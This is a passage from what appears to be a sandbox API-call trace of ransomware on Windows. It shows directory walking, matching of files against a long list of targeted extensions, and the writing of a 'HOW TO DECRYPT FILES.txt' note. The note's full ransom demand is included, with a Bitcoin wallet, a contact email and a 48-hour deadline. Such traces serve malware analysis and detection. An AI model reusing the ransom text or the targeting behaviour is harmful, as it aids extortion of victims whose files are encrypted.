(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0109.916] lstrlenA (lpString="*.mpeg") returned 6 [0109.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0109.916] lstrlenA (lpString="*.djvu") returned 6 [0109.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0109.916] lstrlenA (lpString="*.tiff") returned 6 [0109.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0109.916] lstrlenA (lpString="*.backup") returned 8 [0109.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0109.916] lstrlenA (lpString="*.pdf") returned 5 [0109.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0109.916] lstrlenA (lpString="*.cert") returned 6 [0109.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0109.916] lstrlenA (lpString="*.docm") returned 6 [0109.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0109.916] lstrlenA (lpString="*.xlsm") returned 6 [0109.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0109.916] lstrlenA (lpString="*.dwg") returned 5 [0109.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0109.917] lstrlenA (lpString="*.nd") returned 4 [0109.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0109.917] lstrlenA (lpString="*.tlg") returned 5 [0109.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0109.917] lstrlenA (lpString="*.lgb") returned 5 [0109.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0109.917] lstrlenA (lpString="*.mov") returned 5 [0109.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0109.917] lstrlenA (lpString="*.xdw") returned 5 [0109.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0109.917] lstrlenA (lpString="*.ods") returned 5 [0109.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0109.917] lstrlenA (lpString="*.wav") returned 5 [0109.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0109.917] lstrlenA (lpString="*.mp3") returned 5 [0109.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0109.917] lstrlenA (lpString="*.aiff") returned 6 [0109.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0109.917] lstrlenA (lpString="*.flac") returned 6 [0109.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0109.917] lstrlenA (lpString="*.m4a") returned 5 [0109.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0109.917] lstrlenA (lpString="*.csv") returned 5 [0109.918] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61736ea0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x61736ea0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6175d000, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.918] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.918] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x384672f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x384672f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x384672f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="369a81b278211f8d96a305e918172713", cAlternateFileName="369A81~1")) returned 1 [0109.918] lstrcmpA (lpString1=".", lpString2="369a81b278211f8d96a305e918172713") returned -1 [0109.918] lstrcmpA (lpString1="..", lpString2="369a81b278211f8d96a305e918172713") returned -1 [0109.918] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0109.918] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="369a81b278211f8d96a305e918172713" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713" [0109.918] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713") returned 100 [0109.918] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x384672f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x384672f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x384672f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.973] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.973] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x384672f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x384672f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x384672f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.974] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.974] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.974] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x384672f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x384672f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x384672f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.974] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.974] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll") returned -1 [0109.974] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll") returned -1 [0109.974] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll") returned -1 [0109.974] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\*.*") returned="*.*" [0109.974] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\" [0109.974] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\") returned="" [0109.974] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\HOW TO DECRYPT FILES.txt" [0109.974] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\369a81b278211f8d96a305e918172713\\how to decrypt files.txt")) returned 0xffffffff [0109.974] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\369a81b278211f8d96a305e918172713\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0110.011] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0110.011] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0110.012] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0110.012] CloseHandle (hObject=0x90) returned 1 [0110.012] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll" [0110.012] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0110.013] lstrlenA (lpString="*.ems") returned 5 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.db") returned 0 [0110.013] lstrlenA (lpString="*.db") returned 4 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0110.013] lstrlenA (lpString="*.dbf") returned 5 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0110.013] lstrlenA (lpString="*.myox") returned 6 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0110.013] lstrlenA (lpString="*.myo") returned 5 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0110.013] lstrlenA (lpString="*.qbw") returned 5 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0110.013] lstrlenA (lpString="*.qbb") returned 5 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0110.013] lstrlenA (lpString="*.qbm") returned 5 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0110.013] lstrlenA (lpString="*.qbo") returned 5 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0110.013] lstrlenA (lpString="*.qbx") returned 5 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0110.013] lstrlenA (lpString="*.qba") returned 5 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0110.013] lstrlenA (lpString="*.qby") returned 5 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0110.013] lstrlenA (lpString="*.qbj") returned 5 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0110.013] lstrlenA (lpString="*.ofx") returned 5 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0110.013] lstrlenA (lpString="*.qif") returned 5 [0110.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0110.013] lstrlenA (lpString="*.mye") returned 5 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0110.014] lstrlenA (lpString="*.mbox") returned 6 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0110.014] lstrlenA (lpString="*.eml") returned 5 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0110.014] lstrlenA (lpString="*.pst") returned 5 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0110.014] lstrlenA (lpString="*.ost") returned 5 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0110.014] lstrlenA (lpString="*.idx") returned 5 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0110.014] lstrlenA (lpString="*.dbx") returned 5 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0110.014] lstrlenA (lpString="*.sql") returned 5 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0110.014] lstrlenA (lpString="*.mdb") returned 5 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0110.014] lstrlenA (lpString="*.fdb") returned 5 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0110.014] lstrlenA (lpString="*.wab") returned 5 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0110.014] lstrlenA (lpString="*.dat") returned 5 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0110.014] lstrlenA (lpString="*.txt") returned 5 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0110.014] lstrlenA (lpString="*.jpeg") returned 6 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0110.014] lstrlenA (lpString="*.jpg") returned 5 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.png") returned 0 [0110.014] lstrlenA (lpString="*.png") returned 5 [0110.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.php") returned 0 [0110.015] lstrlenA (lpString="*.php") returned 5 [0110.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0110.015] lstrlenA (lpString="*.cs") returned 4 [0110.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0110.015] lstrlenA (lpString="*.cpp") returned 5 [0110.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0110.015] lstrlenA (lpString="*.rar") returned 5 [0110.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0110.015] lstrlenA (lpString="*.zip") returned 5 [0110.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.html") returned 0 [0110.015] lstrlenA (lpString="*.html") returned 6 [0110.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0110.015] lstrlenA (lpString="*.htm") returned 5 [0110.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\369a81b278211f8d96a305e918172713\\Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0110.015] lstrlenA 